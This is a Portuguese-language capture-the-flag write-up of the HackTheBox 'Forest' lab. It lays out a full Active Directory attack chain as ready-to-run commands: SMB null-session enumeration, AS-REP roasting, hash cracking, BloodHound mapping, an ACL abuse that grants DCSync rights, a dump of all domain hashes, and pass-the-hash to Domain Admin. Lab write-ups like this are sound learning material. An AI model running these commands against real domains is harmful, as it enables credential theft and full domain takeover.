Informações da Box

PlataformaHackTheBox
DificuldadeEasy
SOWindows Server 2016
Técnicas PrincipaisAS-REP Roasting, BloodHound, WriteDACL Abuse, DCSync

Resumo do Caminho de Ataque

SMB null session -> enumerou 31 usuários -> AS-REP Roast no svc-alfresco (sem creds) -> crackou o hash -> BloodHound mostrou caminho por Account Operators -> Exchange Windows Permissions -> WriteDACL no domínio -> concedeu direitos de DCSync -> dumpou todos os hashes -> Pass-the-Hash -> Domain Admin.

Segunda box AD. Primeira vez usando AS-REP Roasting, caminhos de ataque do BloodHound, ACL abuse e DCSync.


Enumeração

echo "10.129.95.210 forest.htb.local htb.local forest" | sudo tee -a /etc/hosts
# Lição: Adicione FQDN, domínio e hostname — ferramentas diferentes usam nomes diferentes

SMB — Enumeração de Usuários

nxc smb $ip -u '' -p '' --users
# Encontrou 31 usuários. Usuários chave: sebastien, lucinda, svc-alfresco, andy, mark, santi
# Salvei usuários reais em valid_users.txt

Foothold — AS-REP Roasting (Sem Creds)

impacket-GetNPUsers htb.local/ -dc-ip $ip -usersfile valid_users.txt -format hashcat -outputfile asrep.txt
# svc-alfresco tem "Do not require Kerberos pre-authentication" = TRUE
# Pegou hash AS-REP de graça — nenhuma credencial necessária

Cracking

# DICA: Use aspas simples ao salvar hashes — aspas duplas corrompem caracteres $!
hashcat -m 18200 -a 0 alfresco.hash /usr/share/wordlists/rockyou.txt
# Crackou: s3rvice

Primeiras creds: svc-alfresco:s3rvice


BloodHound — Encontrando o Caminho de Ataque

bloodhound-python -u 'svc-alfresco' -p 's3rvice' -ns $ip -d htb.local -c All

Pathfinding do BloodHound de SVC-ALFRESCO -> DOMAIN ADMINS mostrou:

svc-alfresco -> Service Accounts -> Privileged IT Accounts -> Account Operators
-> GenericAll sobre Exchange Windows Permissions
-> WriteDACL sobre domínio HTB.LOCAL
-> Pode conceder direitos de DCSync -> Dumpar todos os hashes

Sem BloodHound nunca acharia esse caminho manualmente. São 5 grupos nested de profundidade. É por isso que BloodHound importa.


Escalação de Privilégios — Chain de ACL Abuse

Passo 1: Se adicionar ao grupo Exchange Windows Permissions

net rpc group addmem "Exchange Windows Permissions" "svc-alfresco" -U 'htb.local/svc-alfresco%s3rvice' -S $ip

Passo 2: Pegar shell via evil-winrm

evil-winrm -i $ip -u 'svc-alfresco' -p 's3rvice'
# Funcionalidades do evil-winrm: upload, download, ambiente PowerShell completo

Passo 3: Upload do PowerView e concessão de direitos DCSync

upload /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
. .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Rights DCSync

Passo 4: DCSync — dumpar todos os hashes do domínio

impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@$ip
# Pegou hash NTLM do Administrator

Passo 5: Pass-the-Hash

evil-winrm -i $ip -u 'Administrator' -H '<NTLM_HASH>'

Feito.


Credenciais

UsuárioSenha/HashOrigemEscopo
svc-alfrescos3rviceAS-REP RoastingDomain user
AdministratorNTLM hashDCSyncDomain Admin

O que Aprendi

AS-REP Roasting — svc-alfresco tinha pre-auth desabilitado. Pegou o hash de graça sem nenhuma credencial. Isso deve ser checado antes de brute-force.

BloodHound é inegociável em AD. O caminho por 5 grupos nested até WriteDACL é invisível sem ele.

Chain de ACL Abuse: GenericAll sobre um grupo = se adicionar. WriteDACL sobre domínio = conceder qualquer permissão pra si mesmo. DCSync = dumpar todo hash do domínio.

evil-winrm é rei pra pós-exploração AD. Upload/download de arquivos, rodar scripts PowerShell direto. Sempre use quando a porta 5985 tiver aberta.

Corrupção de arquivo de hash — ao salvar hashes com echo, use ASPAS SIMPLES: echo '$hash' > file.txt. Aspas duplas fazem o bash interpretar caracteres $ e corromper o hash. Perdi tempo nisso.

Padrão: “AS-REP Roast primeiro (sem creds), BloodHound segundo (achar o caminho), ACL abuse terceiro (seguir o caminho).”